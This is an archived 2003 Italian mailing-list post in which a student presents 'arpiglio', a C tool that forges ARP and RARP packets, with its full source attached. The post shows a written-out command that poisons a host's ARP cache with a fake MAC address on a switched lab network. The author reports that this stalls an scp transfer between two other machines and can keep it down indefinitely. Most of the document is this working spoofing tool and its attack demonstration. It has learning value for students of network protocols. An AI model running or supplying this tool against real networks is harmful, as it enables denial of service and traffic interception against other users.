[gl-como] arpiglio ovvero (r)arp spoofing e poisoning a go go
Pietro Bertera
gl-como@lists.linux.it
Fri, 09 May 2003 20:47:45 +0200
This is a multi-part message in MIME format.
--------------000300050006000705040107
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit
Fatto ieri l'esame di infrastrutture e protocolli per internet era ora
di mettere in pratica tutte le pippe che ci satanno sul libro del Comer:
Protocollo Arp e Rarp.
Questa mattina ho inziato a scrivere codice, č nato un tool che forgia
paccheti arp.
riassumo qui opzioni del programma:
-eda e -esa impostano l'inidirizzo hw (dest e source) nel frame
ethernet, -ash inserisce l'indirizzo hw sorgente nel pachetto arp, -adh
inserische l'inidirizzo hw destinazione nel pacchetto arp, -psa
inserisce l'inidirizzo ip sorgente nel pacchetto arp, -pda inserisce
l'inidirizzo ip destinazione nel paccheto arp.
-dev specifica l'interfaccia di rete su cui deve essere mandato il pacchetto
-t specifica il tipo di paccgetto (r)arp:
"areq" Arp request
"rreq" Rarp request
"arep" Arp response
"rrep" Rarp response
TEST:
macchine:
-A IP: 192.168.2.10
-B IP: 192.168.2.2
-C IP: 192.168.2.100
rete su switch
arp cache della macchina B:
belva:/home/pietro# arp
Address HWtype HWaddress Flags Mask
192.168.2.100 ether 00:02:3F:B5:A6:FF C
192.168.2.10
ether 00:07:E9:12:C4:83 C
ora, sulla macchina B lancio un scp di un file da B a C.
dalla macchina A lancio il comando:
#arpiglio -eda FF:FF:FF:FF:FF:FF -esa 00:02:6F:B2:A2:F4 -ash
00:02:6F:B2:A2:F4 -adh 00:00:00:00:00:00 -psa 192.168.2.100 -pda
192.168.2.2 -dev eth0 -t areq
in pratica mando una arp request in broadcast (FF:FF:FF:FF:FF:FF) da un
indirizzo hw inesistente (00:02:6F:B2:A2:F4) associandolo all' IP
192.168.2.100 (macchina C) chiedendo l'ip di 192.168.2.2 (macchina B)
B riceve la richiesta e risponde.
B aggiorna la sua arp cache associando a C l'indirizzo hw 00:02:6F:B2:A2:F4
Quindi B nel prossimo frame che invierā a C mette un indirizzo
destinazione inesistete, infatti il traferimento (scp) si blocca.
se A non fa + niente il trasferimento riprende dopo circa un minuto
(scade la cache arp) de invece A flooda (anche non pesantemente, basta
un pacchetto ogni 10 secondi) B di arp request il trasperimeto non
proseguirā + e andrā in timeout.
In pratica con un solo frame dalla macchina A interrompo un trserimento
di dati tra la macchina B e C in ambiente switched.
Se qualcuno č interessato possiamo portare avanti qualche esperimento.
ciao
--------------000300050006000705040107
Content-Type: text/x-csrc;
name="arpiglio.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
filename="arpiglio.c"
/* arpiglio.c
*
* Copyright (c) 2003 Bertera Pietro
* e-mail: <dr.iggy@iol.it> <p.bertera@valtellinux.it>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Library General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/
#include <stdio.h>
#include <linux/if_ether.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
#define IP_ALEN 4
#define IP_PROTO_TYPE 0x0800
/* ARP protocol opcodes. (da if_arp.h) */
#define ARPOP_REQUEST 1 /* ARP request */
#define ARPOP_REPLY 2 /* ARP reply */
#define ARPOP_RREQUEST 3 /* RARP request */
#define ARPOP_RREPLY 4 /* RARP reply */
/* ARP protocol HARDWARE identifiers. (da if_arp.h) */
#define ARPHRD_ETHER 1 /* Ethernet 10Mbps */
/*
* Formato dell'intestazione di un pacchetto ARP:
*
* 0 8 16 24 31
* +----------------+----------------+
* | hw type | protocol type |
* +--------+-------+----------------+
* | hlen | plen | operation |
* +--------+-------+----------------+
* | src hw address |
* +----------------+----------------+
* | src hw address | src ip |
* +----------------+----------------+
* | src ip | dst hw address +
* +----------------+----------------+
* | dst hw adress |
* +---------------------------------+
* | dst ip |
* +---------------------------------+
*/
struct ether_frame
{
/* Intestazione del frame Ethernet: */
u_char eth_dst_hw_addr[ETH_ALEN]; /* indirizzo hw di dest. del frame (6 ottetti) */
u_char eth_src_hw_addr[ETH_ALEN]; /* indirizzo hw di src. del frame (6 ottetti) */
u_short frame_type; /* id protocollo contenuto nel frame (2 ottetti) */
/* Intestazione del pacchetto arp: */
u_short arp_hw_id; /* id del tipo di hw in arp (ethernet) (2 ottetti) */
u_short arp_proto_type; /* id del protocollo allo strato superiore (2 ottetti) */
u_char arp_hw_addr_len; /* lunghezza dell' indirizzo hw (1 ottetto) */
u_char arp_proto_addr_len; /* lunghezza dell' indirizzo del protocollo (1 ottetto) */
u_short arp_opcode; /* operazione (2 ottetti) */
u_char arp_src_hw_addr[ETH_ALEN]; /* indirizzo hw sorgente (6 ottetti) */
u_char arp_src_proto_addr[IP_ALEN]; /* indirizzo ip sorgente (4 ottetti) */
u_char arp_dst_hw_addr[ETH_ALEN]; /* indirizzo hw destinatatrio (6 ottetti) */
u_char arp_dst_proto_addr[IP_ALEN]; /* indirizzo ip destinatario (4 ottetti) */
u_char padding[18]; /* padding */
};
void
help (char *prgname)
{
fprintf (stderr, "%s: Usage: \"%s [options] \n"
" \"-eda <hw_address>\" Ethernet Destination Address: indirizzo hw destinazione del frame ethernet\n"
" \"-esa <hw_address>\" Ethernet Source Address: indirizzo hw sorgente del frame ethernet\n"
" \"-ash <hw_address>\" Arp Source Hardware: indirzzo hw sorgente nel pacchetto (r)arp\n"
" \"-adh <hw_address>\" Arp Destination Hardware: indirzzo hw destinazione nel pacchetto (r)arp\n"
" \"-psa <ip_address>\" Protocol Source Address: indirzzo IP sorgente nel pacchetto (r)arp\n"
" \"-pda <ip_address>\" Protocol Destination Address: indirzzo IP destinazione nel pacchetto (r)arp\n"
" \"-dev <eth_dev>\" Ethernet Device: dispositivo di rete su cui inviare il datagram\n"
" \"-t <arp_type>\" Arp type: specifica il tipo di arp:\n"
" \" areq\" Arp request\n"
" \" rreq\" Rarp request\n"
" \" arep\" Arp response\n"
" \" rrep\" Rarp response\n"
, prgname, prgname);
exit (1);
}
int
get_hw_addr (u_char * buf, char *str)
{
int i;
char c, val = 0;
for (i = 0; i < ETH_ALEN; i++)
{
if (!(c = tolower (*str++)))
return -1;
if (isdigit (c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c - 'a' + 10;
else
return -1;
*buf = val << 4;
if (!(c = tolower (*str++)))
return -1;
if (isdigit (c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c - 'a' + 10;
else
return -1;
*buf++ |= val;
if (*str == ':')
str++;
}
return 1;
}
int get_ip_addr(struct in_addr* in_addr,char* str){
struct hostent *hostp;
in_addr->s_addr=inet_addr(str);
if(in_addr->s_addr == -1){
if( (hostp = gethostbyname(str)))
bcopy(hostp->h_addr,in_addr,hostp->h_length);
else {
return -1;
}
}
return 1;
}
int
main (int argc, char **argv)
{
struct in_addr src_ip, dst_ip;
struct ether_frame frame;
struct sockaddr sa;
int sock, i, c;
frame.frame_type = htons (ETH_P_ARP); /* default arp */
frame.arp_hw_id = htons (ARPHRD_ETHER); /* default ethernet */
frame.arp_proto_type = htons (IP_PROTO_TYPE); /* */
frame.arp_hw_addr_len = ETH_ALEN;
frame.arp_proto_addr_len = IP_ALEN;
frame.arp_opcode = htons (ARPOP_REPLY); /* default arp replay */
bzero(frame.padding, 18);
c=-1;
for (i = 1; i < argc; i)
{
/* tipo di protocollo */
if (strcmp (argv[i], "-t") == 0)
{
if (strcmp (argv[i + 1], "areq") == 0)
{ // arp request
frame.frame_type = htons (ETH_P_ARP);
frame.arp_opcode = htons (ARPOP_REQUEST);
}
if (strcmp (argv[i + 1], "rreq") == 0)
{ // rarp request
frame.frame_type = htons (ETH_P_RARP);
frame.arp_opcode = htons (ARPOP_RREQUEST);
}
if (strcmp (argv[i + 1], "arep") == 0)
{ // arp reply
frame.frame_type = htons (ETH_P_ARP);
frame.arp_opcode = htons (ARPOP_REPLY);
}
if (strcmp (argv[i + 1], "rrep") == 0)
{ // rarp reply
frame.frame_type = htons (ETH_P_ARP);
frame.arp_opcode = htons (ARPOP_RREPLY);
}
c = c + 2;
}
if (strcmp (argv[i], "-eda") == 0) //ethernet destination address
{
if ((get_hw_addr (frame.eth_dst_hw_addr, argv[i + 1])) < 0)
{
fprintf (stderr, "indirizzo MAC invalido (-eda)\n");
exit (-1);
}
c = c + 2;
}
if (strcmp (argv[i], "-esa") == 0) //ethernet source address
{
if ((get_hw_addr (frame.eth_src_hw_addr, argv[i + 1])) < 0)
{
fprintf (stderr, "indirizzo MAC invalido (-esa)\n");
exit (-1);
}
c = c + 2;
}
if (strcmp (argv[i], "-ash") == 0) // arp source hardware (address)
{
if ((get_hw_addr (frame.arp_src_hw_addr, argv[i + 1])) < 0)
{
fprintf (stderr, "indirizzo MAC invalido (-ash)\n");
exit (-1);
}
c = c + 2;
}
if (strcmp (argv[i], "-adh") == 0) // arp destination hardware (address)
{
if ((get_hw_addr (frame.arp_dst_hw_addr, argv[i + 1])) <0 )
{
fprintf (stderr, "indirizzo MAC invalido (-adh)\n");
exit (-1);
}
c = c + 2;
}
if (strcmp (argv[i], "-psa") == 0) // protocol source address
{
if (get_ip_addr (&src_ip, argv[i + 1]) < 0)
{
fprintf (stderr, "indirizzo invalido (-psa)\n");
exit (-1);
}
memcpy (frame.arp_src_proto_addr,&src_ip, IP_ALEN);
c = c + 2;
}
if (strcmp (argv[i], "-pda") == 0) // protocol source address
{
if (get_ip_addr (&dst_ip, argv[i + 1]) < 0)
{
fprintf (stderr, "indirizzo invalido (-pda)\n");
exit (-1);
}
memcpy (frame.arp_dst_proto_addr,&dst_ip, IP_ALEN);
c = c + 2;
}
if (strcmp (argv[i], "-dev") == 0) // protocol source address
{
strcpy(sa.sa_data, argv[i + 1]);
c = c + 2;
}
i++;
i++;
}
if (argc != c + 2)
{
printf("argc %d\n",argc);
help (argv[0]);
}
sock = socket (AF_INET, SOCK_PACKET, htons(ETH_P_ALL));
if(sendto(sock, &frame, sizeof(frame), 0, &sa, sizeof(sa)) < 0)
{
fprintf(stderr, "errore in sendto");
exit (-1);
}
}
--------------000300050006000705040107--